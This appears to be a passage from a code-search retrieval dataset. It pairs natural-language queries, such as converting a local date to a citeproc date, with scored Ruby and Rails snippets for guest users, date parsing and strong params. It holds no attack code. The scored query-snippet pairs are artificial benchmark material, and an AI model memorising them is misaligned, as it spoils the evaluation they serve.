User.new\n \n @newuser.username= WedgePassword.username_make(\"G\")\n @newuser.password= WedgePassword.random_password(6)\n @newuser.family_name=\"Guest \"+@newuser.username\n @newuser.wedgetail=@newuser.username + @patient.wedgetail\n @newuser.role=7\n if @newuser.save \n render(:layout => \"layouts/guestcard\")\n flash.now[:notice] = \"Guest User Created\"\n else\n flash.now[:notice] = \"Guest User Not Created Due to Error\"\n redirect_to(patient_path(@patient.wedgetail))\n end\n end", "title": "" }, { "docid": "62fafbc9eeadd1a5364d323d01c9f75b", "score": "0.6474223", "text": "def set_guest_session_association\n @guest_session_association = GuestSessionAssociation.new(user_id:session[:user_id],jam_session_id:params[:id],player:params[:player])\n @guest_session_association.save!\n end", "title": "" }, { "docid": "3fdfe94e40c2709ab3e89497b5ce5490", "score": "0.646225", "text": "def current_user_or_guest\n if current_user\n if session[:guest_user_id]\n logging_in\n guest_user.destroy\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end", "title": "" }, { "docid": "7ac74d4ed9e6a1d7e4adab13a5af25e3", "score": "0.6448409", "text": "def set_guest\n @guest = Guest.find(params[:id])\n end", "title": "" }, { "docid": "7ac74d4ed9e6a1d7e4adab13a5af25e3", "score": "0.6448409", "text": "def set_guest\n @guest = Guest.find(params[:id])\n end", "title": "" }, { "docid": "7ac74d4ed9e6a1d7e4adab13a5af25e3", "score": "0.6448409", "text": "def set_guest\n @guest = Guest.find(params[:id])\n end", "title": "" }, { "docid": "7ac74d4ed9e6a1d7e4adab13a5af25e3", "score": "0.6448409", "text": "def set_guest\n @guest = Guest.find(params[:id])\n end", "title": "" }, { "docid": "4de49b08895ffaca6797ce7742cd63d1", "score": "0.64335257", "text": "def set_guest\n @guest = Guests.find(params[:id])\n end", "title": "" }, { "docid": "5e06f5e2be5483397b6eb50831cc3aee", "score": "0.6428944", "text": "def current_or_guest_user\n if current_user\n if session[:guest_user_id]\n logging_in\n guest_user_log_out\n end\n current_user\n else\n guest_user\n end\n end", "title": "" } ]
00c44de0e3e0d7c5a03833d84aef1b14
_single_ local date object to a citeproc date
[ { "docid": "523832bb9b342d58e87e8deeefaeb2de", "score": "0.78926075", "text": "def local_date_to_citeproc_date(date)\n # we consider 'before' or 'after' not enough info for a date for citation at present,\n # haven't figured out how to interact with CSL to represent these, may be possible.\n if ([date.start_qualifier, date.finish_qualifier].compact & ['before', 'after']).count > 0\n return nil\n end\n\n if date.start_qualifier == \"decade\"\n open_year = date.start.to_i / 10 * 10 # cut off year\n close_year = open_year + 9\n return CiteProc::Date.new([[open_year], [close_year]])\n end\n\n\n if date.start_qualifier == \"century\"\n open_year = date.start.to_i / 100 * 100 # cut off tens and units\n close_year = open_year + 99\n return CiteProc::Date.new([[open_year], [close_year]])\n end\n\n # year, month, date\n start_part = date.start.presence && date.start.scan(/\\d+/).slice(0..2)\n finish_part = date.finish.presence && date.finish.scan(/\\d+/).slice(0..2)\n\n args = []\n args << start_part if start_part\n args << finish_part if finish_part\n return nil if args.empty?\n\n CiteProc::Date.new(args).tap do |citeproc_date|\n if date.start_qualifier == \"circa\" || date.finish_qualifier == \"circa\"\n citeproc_date.uncertain!\n end\n end\n end", "title": "" } ]
[ { "docid": "8559385ff138c4d155dfd3ae582b6cc6", "score": "0.79787713", "text": "def local_date_to_citeproc_date(date)\n # we consider 'before' or 'after' not enough info for a date for citation at present,\n # haven't figured out how to interact with CSL to represent these, may be possible.\n if ([date.start_qualifier, date.finish_qualifier].compact & ['before', 'after']).count > 0\n return nil\n end\n\n if date.start_qualifier == \"decade\"\n open_year = date.start.to_i / 10 * 10 # cut off year\n close_year = open_year + 9\n return CiteProc::Date.new([[open_year], [close_year]])\n end\n\n\n if date.start_qualifier == \"century\"\n open_year = date.start.to_i / 100 * 100 # cut off tens and units\n close_year = open_year + 99\n return CiteProc::Date.new([[open_year], [close_year]])\n end\n\n # year, month, date\n start_part = date.start.presence && date.start.scan(/\\d+/).slice(0..2)\n finish_part = date.finish.presence && date.finish.scan(/\\d+/).slice(0..2)\n\n args = []\n args << start_part if start_part\n args << finish_part if finish_part\n return nil if args.empty?\n\n CiteProc::Date.new(args).tap do |citeproc_date|\n if date.start_qualifier == \"circa\" || date.finish_qualifier == \"circa\"\n citeproc_date.uncertain!\n end\n end\n end", "title": "" }, { "docid": "f136a04ae68b334121508f75734d6725", "score": "0.6994836", "text": "def to_date\n parts = to_citeproc\n\n if parts.empty? || parts.include?(0)\n nil\n else\n begin\n ::Date.new(*parts)\n rescue\n # Catch invalid dates (e.g., if the month is 13).\n nil\n end\n end\n end", "title": "" }, { "docid": "f9007198e2823fe0f5efb46a7854bb21", "score": "0.66669047", "text": "def date\n memoize(:date) do\n if work.date_of_work.present?\n cite_proc_dates = work.date_of_work.collect { |d| local_date_to_citeproc_date(d) }.compact\n\n min_date_part = cite_proc_dates.collect(&:date_parts).flatten.min\n max_date_part = cite_proc_dates.collect(&:date_parts).flatten.max\n\n if min_date_part.nil? && max_date_part.nil?\n return nil\n end\n\n date = if min_date_part == max_date_part\n ::CiteProc::Date.new(min_date_part.to_a.compact)\n else\n ::CiteProc::Date.new([min_date_part.to_a.compact, max_date_part.to_a.compact])\n end\n\n if cite_proc_dates.any?(&:uncertain?)\n date.uncertain!\n end\n\n return date\n end\n end\n end", "title": "" }, { "docid": "cbd3d05b530524b24d950659f36676a8", "score": "0.65428877", "text": "def to_fixed(c_date = self)\n mmonth = c_date.month\n dday = c_date.day\n yyear = c_date.year\n (epoch - 1 +\n 365 * (yyear - 1) +\n quotient(yyear, 4.0) +\n 30 * (mmonth - 1) +\n dday)\n end", "title": "" }, { "docid": "16699bfd902ef8465e1768fea7eed050", "score": "0.65365815", "text": "def original_date\n return nil if work.date_of_work.nil? || work.date_of_work.length == 0\n begin\n date_recorded = Date.strptime(work.date_of_work.first, '%Y-%m-%d')\n rescue ArgumentError\n return nil\n end\n date_recorded ? CiteProc::Date.new(date_recorded) : nil\n end", "title": "" }, { "docid": "909b5cf33a7f9af7567c445b53dc1699", "score": "0.65209484", "text": "def date\n memoize(:date) do\n if work.date_of_work_models.present?\n cite_proc_dates = work.date_of_work_models.collect { |d| local_date_to_citeproc_date(d) }.compact\n\n min_date_part = cite_proc_dates.collect(&:date_parts).flatten.min\n max_date_part = cite_proc_dates.collect(&:date_parts).flatten.max\n\n if min_date_part.nil? && max_date_part.nil?\n return nil\n end\n\n date = if min_date_part == max_date_part\n ::CiteProc::Date.new(min_date_part.to_a.compact)\n else\n ::CiteProc::Date.new([min_date_part.to_a.compact, max_date_part.to_a.compact])\n end\n\n if cite_proc_dates.any?(&:uncertain?)\n date.uncertain!\n end\n\n return date\n end\n end\n end", "title": "" }, { "docid": "94c49d12033153c75d4129c6813e855e", "score": "0.6498376", "text": "def ttm_to_date(date)\n\n\n end", "title": "" }, { "docid": "45f8e6bb924d8f619b6d09c62f56cfc3", "score": "0.6479313", "text": "def issued_date_csl\n return nil unless date\n\n date_csl = date.to_citeproc\n\n if edge_case_date_literals?\n literal = formatted_date_literal\n date_csl[\"literal\"] = literal if literal\n end\n\n return date_csl\n end", "title": "" }, { "docid": "fc4ce33092cc16769729c457d99b0dd5", "score": "0.6439928", "text": "def issued_date_csl\n return nil unless date\n\n date_csl = date.to_citeproc\n\n if edge_case_date_literals?\n literal = formatted_date_literal\n date_csl[\"literal\"] = literal if literal\n end\n\n return date_csl\n end", "title": "" }, { "docid": "cf84aa8465fc158702fbf7f3fc3a8e2e", "score": "0.64380205", "text": "def original_date\n return nil if work.date_of_work.blank?\n begin\n date_recorded = Date.strptime(work.date_of_work.first.start, '%Y-%m-%d')\n rescue ArgumentError\n return nil\n end\n date_recorded ? CiteProc::Date.new(date_recorded) : nil\n end", "title": "" }, { "docid": "f748524b2b9da4d1c03f9b129202e5ac", "score": "0.6336286", "text": "def fix_date(c_date)\n logger.debug { \"c_date>#{c_date}\" }\n return nil if c_date.nil?\n\n a_date = c_date.split('/') \n return nil unless a_date.size == 3\n\n if a_date[2].size == 2\n a_date[2] = '20'+a_date[2]\n end\n\n new_date = Date.civil(a_date[2].to_i, a_date[1].to_i, a_date[0].to_i)\n\n logger.debug { \"#{new_date}\" }\n\n \n return new_date\n end", "title": "" }, { "docid": "e1594b843eb1f0ece306ab05408f4bb2", "score": "0.6329436", "text": "def get_local_date(date)\n raise 'Not Supported'\n end", "title": "" }, { "docid": "671fd3a4eb255e66ecc488ce0a85ba23", "score": "0.6318831", "text": "def to_fixed(e_date = self)\n mmonth = e_date.month\n dday = e_date.day\n yyear = e_date.year\n self.epoch + Coptic::Date[yyear, mmonth, dday].fixed - Coptic::Date.epoch\n end", "title": "" }, { "docid": "06e7feb0a67f18e76edb0b7f991e1267", "score": "0.63026446", "text": "def to_date(opts = {})\n ref = opts.fetch(:ref, Date.today)\n Date.civil(\n (self.year || opts[:year] || ref.year).to_i,\n (self.month || opts[:month] || ref.month).to_i,\n (self.day || opts[:day] || 1).to_i)\n end", "title": "" }, { "docid": "06344de2f9114fdf7488cf2dd443fa57", "score": "0.62918097", "text": "def full_date\n date&.to_date\n end", "title": "" }, { "docid": "61f35278ce1a8ecc6818bd5b973f7971", "score": "0.62813216", "text": "def to_fixed(c_date = self)\n ccycle = c_date.cycle\n yyear = c_date.year\n mmonth = c_date.month\n leap = c_date.leap\n dday = c_date.day\n mid_year = (epoch + ((((ccycle - 1) * 60) + (yyear - 1) + 1/2.0) * MEAN_TROPICAL_YEAR)).floor\n new_year = new_year_on_or_before(mid_year)\n p = chinese_new_moon_on_or_after(new_year + ((mmonth - 1) * 29))\n d = to_calendar(p)\n prior_new_moon = ((mmonth == d.month) && (leap == d.leap)) ? p : chinese_new_moon_on_or_after(1 + p)\n prior_new_moon + dday - 1\n end", "title": "" }, { "docid": "0e6c4e7e1383fa4db1f45e739d8efe43", "score": "0.62565625", "text": "def to_date\n Date.new(@year, @month, @day) if complete?\n end", "title": "" }, { "docid": "870a66570783d8fcc16a7477e29e2456", "score": "0.62430435", "text": "def to_date\n return nil unless complete?\n Date.new(@year,@month,@day)\n end", "title": "" }, { "docid": "6ec218b0e7317c29c6a8e9e2c461d1d5", "score": "0.6171372", "text": "def to_date\n if !self.has_key?('to_date') && contains_date_fields?\n Date.civil(self.year, self.month, self.day)\n else\n super\n end\n end", "title": "" }, { "docid": "c8920ba89feb3af4734210cf25e0161f", "score": "0.61610717", "text": "def example_date\n return Date.new(2007,11,29)\n end", "title": "" }, { "docid": "846f12ec05660f6259416e20341ec093", "score": "0.6135769", "text": "def convert_from_weird_date(date)\n WeirdDate.to_date date\n end", "title": "" }, { "docid": "69bf8f0b96bd6bff0cbda1a87fb46171", "score": "0.6098939", "text": "def start_date_as_date\n return USDateParse(self.start_date)\n end", "title": "" }, { "docid": "39d14ab65e866372336442a8584db1f4", "score": "0.6094462", "text": "def new_date(date)\r\n\t\tDate.new(date[0], date[1], date[2])\r\n\tend", "title": "" }, { "docid": "4ab1a0c748ae84364393accecafcd457", "score": "0.6078809", "text": "def to_fixed(a_date = self)\n mmonth = a_date.month\n dday = a_date.day\n yyear = a_date.year\n ArmenianDate.epoch + EgyptianDate[yyear, mmonth, dday].fixed - EgyptianDate.epoch\n end", "title": "" }, { "docid": "7a41788bd65b43d9a49528e9cf4c3411", "score": "0.60364634", "text": "def to_date\n Date.civil(self.year, self.mon, self.day)\n end", "title": "" }, { "docid": "ed7d21cb9e7020b6a5c6bb51c7f51ed4", "score": "0.6024536", "text": "def to_date\n @original_date || ::Date.new(@year, @month, @day)\n end", "title": "" }, { "docid": "ed7d21cb9e7020b6a5c6bb51c7f51ed4", "score": "0.6024536", "text": "def to_date\n @original_date || ::Date.new(@year, @month, @day)\n end", "title": "" }, { "docid": "155b2f59e59f99fdc455e613c4172c64", "score": "0.60169274", "text": "def to_date\n self.valid? ? Date.parse(\"#{@year}-#{@month}-#{@day}\") : nil rescue nil\n end", "title": "" }, { "docid": "b8162262c6b06b1c7f06f74c3ee12f6d", "score": "0.600747", "text": "def date=(_arg0); end", "title": "" }, { "docid": "8eec993fd055045732e90a701fe581e6", "score": "0.59986097", "text": "def coerce_date(val)\n #puts \"coerce_date: '#{val}'\"\n # If there is no date, dont try to set one\n if val.blank?\n return nil\n end\n\n #strip date first\n val.strip!\n\n # Pull the date apart and try to determine what is there\n elems = val.split('/')\n # check for just a year and set it to the first day of the fiscal year\n if elems.size == 1\n date_str = \"#{SystemConfig.instance.start_of_fiscal_year}-#{elems[0]}\"\n d = Date.strptime(date_str, \"%m-%d-%Y\")\n elsif elems.last.length == 2\n d = Date.strptime(val, \"%m/%d/%y\")\n else\n d = Date.strptime(val, \"%m/%d/%Y\")\n end\n #puts d\n d\n end", "title": "" }, { "docid": "1992313994f0bfd36ed1709e9fa5cc20", "score": "0.59849685", "text": "def to_parsi\n Parsi::Date.new! ajd\n end", "title": "" }, { "docid": "ab9240e666ac9ae750f1a6405a9d22e2", "score": "0.5979538", "text": "def as_date\n @date.dup\n end", "title": "" }, { "docid": "419f5b5d9644f2cc33805bfc493a2406", "score": "0.5979478", "text": "def to_date\n ::Date.new(year, month, day)\n end", "title": "" }, { "docid": "3e281b570e37b39a33f57cfd0dad1745", "score": "0.5961542", "text": "def date_for_citation(date_start, citation_style)\n date_components = date_start.split('-')\n if citation_style == 'mla'\n date_components[1] = Date::ABBR_MONTHNAMES[date_components[1].to_i] if date_components[1]\n \"#{date_components.reverse.join(' ')}. \"\n elsif citation_style == 'apa'\n apa_date_raw = date_components[0]\n apa_date_raw += \", #{Date::MONTHNAMES[date_components[1].to_i]}\" if date_components[1]\n apa_date_raw += \" #{date_components[2].to_i}\" if date_components[2]\n \"(#{apa_date_raw}). \"\n end\n end", "title": "" }, { "docid": "700261d640b6c3370cf5ddbaf2624895", "score": "0.5935289", "text": "def to_date(date)\n Rails.logger.debug(\"--------------------------------------------#{date}#{Date.parse(date)}\")\n begin\n Date.parse(date)\n rescue\n nil\n end\n end", "title": "" }, { "docid": "ac488e19bca561f65fbde89993f4dcf7", "score": "0.5911029", "text": "def to_date()\n return Date.new(@date.year, @date.month, @date.day)\n end", "title": "" }, { "docid": "2147e58a22728ec725dc793466b859c5", "score": "0.5910548", "text": "def local(*args)\n case args.size\n when 6\n year, month, day, hour, min, sec_with_frac = args\n \n components = NSDateComponents.new\n components.year = year\n components.month = month\n components.day = day\n components.hour = hour\n components.minute = min\n \n calendar = NSCalendar.alloc.initWithCalendarIdentifier(NSGregorianCalendar)\n date = calendar.dateFromComponents(components)\n \n date = dateWithTimeIntervalSinceReferenceDate(date.timeIntervalSinceReferenceDate + sec_with_frac)\n date.timeZone = timeZoneFromEnv\n date\n end\n end", "title": "" }, { "docid": "ba3d4e2df1722ff373d853f55ca81fab", "score": "0.58736444", "text": "def to_date\n Date.new(@year, @month, @date)\n end", "title": "" }, { "docid": "72cc4a7150d26a2394fab2e7996c5114", "score": "0.58639735", "text": "def to_chronic_date\n obj = to_chronic_datetime\n obj && obj.to_date\n end", "title": "" }, { "docid": "38ba369fc81519d5624bdaac6a86097f", "score": "0.58424264", "text": "def dmy_date(date)\n return DateTime.new(date.year,date.month,date.day)\n end", "title": "" }, { "docid": "b049ada61a8e23d17738e89107ccf2e8", "score": "0.58368284", "text": "def reform_jd = @reform_jd ||= ::Date::GREGORIAN", "title": "" }, { "docid": "e8415e9aebd62e34b4415a67c424a079", "score": "0.5824468", "text": "def to_fixed(e_date = self)\n mmonth = e_date.month\n dday = e_date.day\n yyear = e_date.year\n epoch + (365*(yyear - 1)) + (30*(mmonth - 1)) + (dday - 1)\n end", "title": "" }, { "docid": "67744842268ad4a968c51ca69979e15b", "score": "0.5815479", "text": "def to_date\n @date ||= coded? ? nil : Date.new(*ATTRIBUTE_NAMES.collect { |a| @attributes[a] })\n end", "title": "" }, { "docid": "2a36dac0ca644873189c1917cc7f1a7b", "score": "0.58105016", "text": "def to_date\n Date.new(year, month, day)\n end", "title": "" }, { "docid": "9a4b9eda262f3b4abfccecd08a39cfb9", "score": "0.58101207", "text": "def to_date\n Date.new(year, month, day)\n end", "title": "" }, { "docid": "49a6c893a38bb2755b12f203f16d93d0", "score": "0.5803968", "text": "def setup_pub_date(record)\n if (pub_field = pub_field(record))\n if (pub_date = pub_field.find { |s| s.code == 'c' })\n date_value = pub_date.value.gsub(/[^0-9|n\\.d\\.]/, \"\")[0,4] unless pub_date.value.gsub(/[^0-9|n\\.d\\.]/, \"\")[0,4].blank?\n end\n return nil if date_value.nil?\n end\n clean_end_punctuation(date_value) if date_value\n end", "title": "" }, { "docid": "01e6cf0b08077ca8c01eccc06966c242", "score": "0.5797967", "text": "def literal_date(date)\n if date.year < 1\n date <<= ((date.year) * 24 - 12)\n date.strftime(\"'%Y-%m-%d BC'\")\n else\n super\n end\n end", "title": "" }, { "docid": "bc90b5c195ce5b363062d6ac0130ddc4", "score": "0.57921606", "text": "def to_date\n Date.null_date\n end", "title": "" }, { "docid": "ed75b2038d1463045371369c88843c90", "score": "0.57897204", "text": "def from_dmy(date)\n date.to_s.gsub(/^(\\d{2})[\\/-](\\d{2})[\\/-](\\d{4})/, '\\3/\\2/\\1').to_date\n end", "title": "" }, { "docid": "5c74409e72cb10e3774adbc299704479", "score": "0.5785383", "text": "def citation_date\n ''\n end", "title": "" }, { "docid": "1d356f385dcf2be728e15aa125c8ec3c", "score": "0.57796186", "text": "def census_date\n @census_date ||= begin\n date_string = @data['censusDate']\n Date.parse(date_string) if date_string\n end\n end", "title": "" }, { "docid": "3ccbb23a5e558a7fe06b5fe92974d9f8", "score": "0.5775658", "text": "def params_2_date(par) #:nodoc:\n return nil if par.blank?\n params = [par[:year], par[:month], par[:day]].collect { |v| v.blank? ? nil : v.to_i }\n begin\n Date.civil(*params)\n rescue ArgumentError, TypeError\n nil\n end\n end", "title": "" }, { "docid": "8e8cfe59516070cc3ad37b2149cc9a18", "score": "0.5757143", "text": "def params_2_date(par) #:nodoc:\n return nil if par.blank?\n params = [par[:year], par[:month], par[:day]].collect{|v| v.blank? ? nil : v.to_i}\n begin\n Date.civil(*params)\n rescue ArgumentError, TypeError\n nil\n end\n end", "title": "" }, { "docid": "14a061464e26133784e00573b9cffb96", "score": "0.5748848", "text": "def to_datetime; end", "title": "" }, { "docid": "14a061464e26133784e00573b9cffb96", "score": "0.5748848", "text": "def to_datetime; end", "title": "" }, { "docid": "14a061464e26133784e00573b9cffb96", "score": "0.5748848", "text": "def to_datetime; end", "title": "" }, { "docid": "2d0028a6878aeb2ea77453ef650b9241", "score": "0.5743497", "text": "def date_to_local(date=nil)\n if date.nil? || date == ''\n return\n end\n converted_date = date.to_s(:iso8601)\n \"<div class=\\\"date_to_local\\\">#{converted_date}</div>\".html_safe\n end", "title": "" }, { "docid": "1af4e548a6f65e5ece1bbaef4b29d322", "score": "0.5733838", "text": "def normalize_date(date)\n if m = DATEFMT1.match(date)\n y = m[2].to_i\n year = y > 1900 ? y : y < 25 ? y+2000 : y+1900\n year = m[3].length == 2 ? 2000 + m[2].to_int : m[2].to_i\n mon = m[1].to_i\n day = m[2].to_i\n Time.local(year, mon, day)\n elsif m = DATEFMT2.match(date)\n year = 2009\n mon = m[1].to_i\n day = m[2].to_i\n Time.local(year, mon, day)\n else\n raise ArgumentError, \"unknown date format #{date}\"\n end\n end", "title": "" }, { "docid": "f3059d45e464cfea0930cb9d0d33ecca", "score": "0.57285535", "text": "def get_date(rally_date_field)\n the_date=DateTime.parse(rally_date_field).to_date()\n #the_date=DateTime.new(date_arr[0],date_arr[1],date_arr[2])\n return(the_date)\nend", "title": "" }, { "docid": "8e98ee968eb5138697a74c23096bd350", "score": "0.5716705", "text": "def formatted_date_literal\n open_date = date.parts.first\n close_date = date.parts.second\n\n unless date.uncertain? || (open_date && close_date)\n # let csl-ruby handle it normally, it's a single date or no date at all, not a range!\n return nil\n end\n\n # We're just gonna do years, if they're both the same year, just call it a year.\n formatted_date = if close_date.nil? || open_date.year == close_date.year\n open_date.year.to_s\n else\n # that's an en-dash not a hyphen.\n \"#{open_date.year}–#{close_date.year}\"\n end\n\n if date.uncertain?\n formatted_date =\"circa #{formatted_date}\"\n end\n\n return formatted_date\n end", "title": "" }, { "docid": "afc9fe9ee3cb4bf5e088718d307b2d52", "score": "0.5712664", "text": "def formulate_date(form_date)\n\t\tdate_array = form_date.split(\"-\").map! {|v| v.to_i}\n\t\tself.transaction_date = Date.new(date_array[2], date_array[1],date_array[0]) if !date_array.empty?\n\tend", "title": "" }, { "docid": "4771480f2dbbb5324f4430897b6098a1", "score": "0.5706661", "text": "def date_to_oa_date(date)\n (date.jd - 2415019).to_f\n end", "title": "" }, { "docid": "858e18781ce17736e7b4858dfba6ede0", "score": "0.5702815", "text": "def to_date(utc=true)\n t = utc ? getutc : @time\n Date.civil(t.year, t.month, t.day)\n end", "title": "" }, { "docid": "820ef3dc700f5bc40bdc6024f3b9b9d8", "score": "0.56906986", "text": "def founded\n @founded ||= date_from_components(@founded_year, @founded_month, @founded_day) \n end", "title": "" }, { "docid": "566fde763c0e98571de55fdf911bf4d6", "score": "0.5688546", "text": "def _to_date_for_note(date)\n date = When::Tranquility ^ date unless date.frame.equal?(When::Tranquility)\n date\n end", "title": "" }, { "docid": "4692e1514b70fd08765bcbb0fd271b83", "score": "0.56852394", "text": "def raw_date(date)\n date\n end", "title": "" }, { "docid": "e51ae7ae448d4c6540064955af63bac2", "score": "0.56814957", "text": "def convert_date(date)\n Date.strptime(date, ROOMORAMA_DATE_FORMAT).strftime(CIIRUS_DATE_FORMAT)\n end", "title": "" }, { "docid": "63d06af2101ae6bdd6a3a0a4ce123736", "score": "0.56758624", "text": "def parse_date\n require 'date'\n require 'parsedate'\n elements = ParseDate.parsedate(self.to_s)\n DateTime.civil(elements[0], elements[1], elements[2], elements[3] || 0, elements[4] || 0, elements[5] || 0)\n end", "title": "" }, { "docid": "11646e8cf244a3ea531c87c32c12c4ac", "score": "0.5670999", "text": "def to_date\n \tdate = nil\n \tbegin\n \t\tdate = Time.parse(self)\n \trescue\n \t\tLogger.error(self + \" is not a valid date\")\n \tend\n \treturn date\n end", "title": "" }, { "docid": "067879997f5eaf249672ad28cef0df45", "score": "0.5665179", "text": "def time_to_oa_date(time)\n # Local dates are stored as UTC by truncating the offset:\n # 1970-01-01 00:00:00 +0200 => 1970-01-01 00:00:00 UTC\n # This is done because SpreadsheetML is not timezone aware.\n (time.to_f + time.utc_offset) / 86400 + 25569\n end", "title": "" }, { "docid": "23cb32d40c48037d49df55a7a2b58f32", "score": "0.56638646", "text": "def to_date\n @to_date ||= Time.at(to_i * 60 * 60 * 24).utc.to_date\n end", "title": "" }, { "docid": "e4ac27deaf78165e519d30105d67292c", "score": "0.56589013", "text": "def to_date\n return nil if self.blank?\n parts = ::Date._parse(self, false).values_at(:year, :mon, :mday)\n return nil unless parts.any?\n ::Date.new(*parts)\n end", "title": "" }, { "docid": "1a1e1fda2f45b7570a994c152db8c056", "score": "0.5656171", "text": "def issue_date # rubocop:disable Lint/DuplicateMethods\n @issue_date.to_s.to_date\n end", "title": "" }, { "docid": "0cee5c4ab8762bc634e0d6baac9bff7c", "score": "0.56472576", "text": "def formatted_date_literal\n open_date = date.parts.first\n close_date = date.parts.second\n\n unless date.uncertain? || (open_date && close_date)\n # let csl-ruby handle it normally, it's a single date or no date at all, not a range!\n return nil\n end\n\n # We're just gonna do years, if they're both the same year, just call it a year.\n formatted_date = if close_date.nil? || open_date.year == close_date.year\n open_date.year.to_s\n else\n # that's an en-dash not a hyphen.\n \"#{open_date.year}–#{close_date.year}\"\n end\n\n if date.uncertain?\n formatted_date =\"circa #{formatted_date}\"\n end\n\n return formatted_date\n end", "title": "" }, { "docid": "b4fa97a0ab3c419aece4d761b627620a", "score": "0.5644984", "text": "def get_date \n\n end", "title": "" }, { "docid": "a58576cc96693b5e6a25d713ec46d0f1", "score": "0.56395334", "text": "def date_string; end", "title": "" }, { "docid": "12abe7c0a3d3720136779259fc1dabe2", "score": "0.5630834", "text": "def convert_date(date)\n date.to_date.to_s if date.respond_to?(:to_date)\n end", "title": "" }, { "docid": "687f5b3ffe150a15acd43b6ee80c8854", "score": "0.5630378", "text": "def to_local_time; end", "title": "" }, { "docid": "5fdd974f49b0582952a120c41b88f978", "score": "0.5624353", "text": "def date_value; end", "title": "" }, { "docid": "c16851b57f6901de9300ad1f1a59a452", "score": "0.56235737", "text": "def to_date\n @to_date ||= Date.parse(task_config[\"to_date\"]) rescue nil\n end", "title": "" }, { "docid": "11ad3c7c7d97ec8a050924ea7e421953", "score": "0.56158984", "text": "def get_ix_date(date)\n date=Date.parse date\n Date.new(date.year, date.month, date.day)\n end", "title": "" }, { "docid": "9bb31e594b20ca56aee5f37d96fbb408", "score": "0.560549", "text": "def date\n @date ||= parse_date\n end", "title": "" }, { "docid": "14ad3add5c0403b1b08431480813b355", "score": "0.56052583", "text": "def convert_date(value, options)\n value = value.to_f\n days_since_date_system_start = value.to_i\n fraction_of_24 = value - days_since_date_system_start\n\n # http://stackoverflow.com/questions/10559767/how-to-convert-ms-excel-date-from-float-to-date-format-in-ruby\n date = options.fetch(:base_date, Date.new(1899, 12, 30)) + days_since_date_system_start\n\n if fraction_of_24.positive? # there is a time associated\n seconds = (fraction_of_24 * 86_400).round\n time = create_time(date) + seconds\n\n time.year == 1899 ? time : create_date_time(time)\n else\n date\n end\n end", "title": "" }, { "docid": "e7a630d7f3046104da6adc45cbf41a5f", "score": "0.559288", "text": "def standard_date(date)\n date ? date.strftime('%B %d, %Y') : nil\n end", "title": "" }, { "docid": "623e67c5790ceab22e17cdd0d0c561ad", "score": "0.55891204", "text": "def convert_date\n new_date = Date.strptime(expiration_date, \"%m/%d/%Y\").strftime(\"%Y-%m-%d\")\n new_date\n end", "title": "" }, { "docid": "dfe015ae257b28bf877b5e6b62fe87a6", "score": "0.55881894", "text": "def convert_to_rb_date(d)\r\n Date.new(d.year, d.month, d.dayOfMonth)\r\n end", "title": "" }, { "docid": "dfe015ae257b28bf877b5e6b62fe87a6", "score": "0.55881894", "text": "def convert_to_rb_date(d)\r\n Date.new(d.year, d.month, d.dayOfMonth)\r\n end", "title": "" }, { "docid": "42811b51eb57091f7e5b86a6ef185b61", "score": "0.55840194", "text": "def to_date\n @to_date ||= begin\n date_string = @data['toDate']\n Date.parse(date_string) if date_string\n end\n end", "title": "" }, { "docid": "8694e799e41dc56a4f73094405142315", "score": "0.5583524", "text": "def get_refdate\n return Date.strptime(params[:refdate])\n rescue\n params[:refdate] = DEFAULT_REFDATE\n return DEFAULT_REFDATE\n end", "title": "" }, { "docid": "3ed969622f1b196bda7feeec53b1e4b1", "score": "0.55830586", "text": "def to_date(**opt)\n value = get_date_value(**opt)\n value = DatePart.new(value) if value.is_a?(Array)\n value&.to_date\n end", "title": "" }, { "docid": "4519ec4224e4adc442442129fff5fb47", "score": "0.5582113", "text": "def as_date\n if self =~ %r{(?<yr>\\d\\d\\d\\d)[-/]?(?<mo>\\d\\d?)[-/]?(?<dy>\\d\\d?)}\n ::Date.new(Regexp.last_match[:yr].to_i,\n Regexp.last_match[:mo].to_i,\n Regexp.last_match[:dy].to_i)\n end\n end", "title": "" }, { "docid": "86befb6abd7b769b5932b948dc77b313", "score": "0.55783135", "text": "def setup_pub_date(presenter)\n pub_date = presenter.solr_document['complex_date_published_ssm'].try(:first)\n return nil if pub_date.nil?\n first_date = CGI.escapeHTML(pub_date)\n if first_date.present?\n first_date = CGI.escapeHTML(first_date)\n date_value = first_date.gsub(/[^0-9|n\\.d\\.]/, \"\")\n date_value = date_value.reverse[0, 4].reverse unless date_value.nil?\n return nil if date_value.nil?\n end\n clean_end_punctuation(date_value) if date_value\n end", "title": "" }, { "docid": "5be89b87744b06e42891b3f8fb2179b2", "score": "0.5575684", "text": "def convert_to_date(string)\n return nil if string.blank?\n Chronic.parse(string).to_date\n end", "title": "" }, { "docid": "5be89b87744b06e42891b3f8fb2179b2", "score": "0.5575684", "text": "def convert_to_date(string)\n return nil if string.blank?\n Chronic.parse(string).to_date\n end", "title": "" }, { "docid": "70976d9920f4645af3f97bb8f2ddb75c", "score": "0.55730814", "text": "def date(obj)\n obj.strftime @format_source.date_format\n end", "title": "" }, { "docid": "e32808806063792ac0e575a9b5c0a9bd", "score": "0.5573041", "text": "def to_date\n begin\n Date.parse(self)\n rescue Exception => e\n raise Sequel::Error::InvalidValue, \"Invalid date value '#{self}' (#{e.message})\"\n end\n end", "title": "" }, { "docid": "877e908e1fa44924c8b80863886ab707", "score": "0.557163", "text": "def medium_date2(date)\n date.strftime(\"%d %B %Y\") rescue 'unknown'\n end", "title": "" }, { "docid": "9c818a9ac095fb82dcfee9668f520a30", "score": "0.5570753", "text": "def quoted_date(value); end", "title": "" }, { "docid": "9c818a9ac095fb82dcfee9668f520a30", "score": "0.5570753", "text": "def quoted_date(value); end", "title": "" }, { "docid": "028805ff0c706b9dcc749a7da2a3ec48", "score": "0.55695665", "text": "def to_d\n Date.civil(@year, @month, @day)\n end", "title": "" } ]
a2099a77c85e91272ae2f9e35b937953
Only allow a trusted parameter "white list" through.
[ { "docid": "e78be43784da093d4359264e8ddfad33", "score": "0.0", "text": "def news_feed_params\n params.fetch(:news_feed, {})\n end", "title": "" } ]
